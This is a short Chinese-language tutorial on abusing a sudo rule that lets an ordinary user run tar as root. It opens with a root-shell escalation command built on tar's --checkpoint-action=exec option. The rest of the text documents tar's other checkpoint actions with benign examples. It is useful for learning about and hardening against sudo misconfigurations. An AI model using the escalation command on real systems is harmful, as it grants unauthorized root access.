如果管理员给予了某个普通用户tar命令的超级管理员操作:
那么我们可以使用tar命令进行提权,命令如下
sudo -u root tar cf /dev/null exploit --checkpoint=1 --checkpoint-action=exec="/bin/bash"
-c:创建新的档案文件,相当于打包(-x,相反的操作,拆包)
-f:使用档名,f之后直接加档名,中间不能加其他参数
--checkpoint=n:每写入n个记录之后设置一个检查点,在检查点可以执行任意的操作,操作由--checkpoint-action指定
exec:执行外部命令
下图体现checkpoint作用
下面是--checkpoint-action的各种参数和用法:
echo
也可以这样写
%s:检查点的类型,可以取两个值,写入或者读取
%u:检查点编号
%{r,w,d}T
打印到目前为止传输的字节数和传输速度。可选参数提供相应的在读取、写入和删除字节数之前使用的前缀。如果不存在,则默认为“R”。`W',`D'。它们中的任何一个或全部都可以省略,因此,例如,%{}T:表示打印不带任何前缀的相应统计信息。任何多余的参数,如果存在,都会被默默地忽略。
%{fmt}t:使用fmt作为strftime格式输出当前本地时间,{fmt}部分是可选的。如果不存在,则默认格式为“%c”,即当前区域设置的首选日期和时间表示。
%n*:用空格将输出填充到第n列。如果省略{n}部分,则使用当前屏幕宽度。
%c:这是“%{%Y-%m-%d%H:%m:%S}t:%ds,%{read,writed}t%*\r”的快捷方式,主要用于“ttyout”操作(见下文)。
打印当前本地时间、tar启动后过期的秒数、检查点序号、传输的字节数和平均计算的I/O速度。
--checkpoint-action=ttyout='%{%Y-%m-%d %H:%M:%S}t (%d sec): #%u, %T%*\r'
“ttyout=string”操作将字符串输出到控制台“/dev/tty”,因此即使将标准输出重定向到其他位置,也可以使用它。字符串的修改与“echo”操作相同。与后者不同的是,“ttyout”不在字符串前面加tar可执行文件名,也不在其后输出新行。例如,以下操作将在同一屏幕行打印检查点消息,覆盖以前的任何消息
--checkpoint-action="ttyout=Hit %s checkpoint #%u%*\r"
另一个可用的检查点操作是“dot”(或“.”)。它指示tar在标准列表流上打印一个点,例如:
tar -c --checkpoint=1000 --checkpoint-action=dot /var
还有一个操作“sleep”,将tar暂停指定的秒数。以下示例将在每个检查点停止30秒:
tar -c --checkpoint=1000 --checkpoint-action=sleep=30
wait=signo操作停止进一步的执行,直到signo信号被传递。signo的有效值为:SIGHUP、SIGQUIT、SIGINT、SIGUSR1和SIGUSR2。“SIG”前缀是可选的。例如:
tar -c -f arc --checkpoint=1000 --checkpoint-action wait=USR1 .
在这个例子中,tar将在每1000个检查点停止存档。等待“SIGUSR1”信号发出,然后继续处理。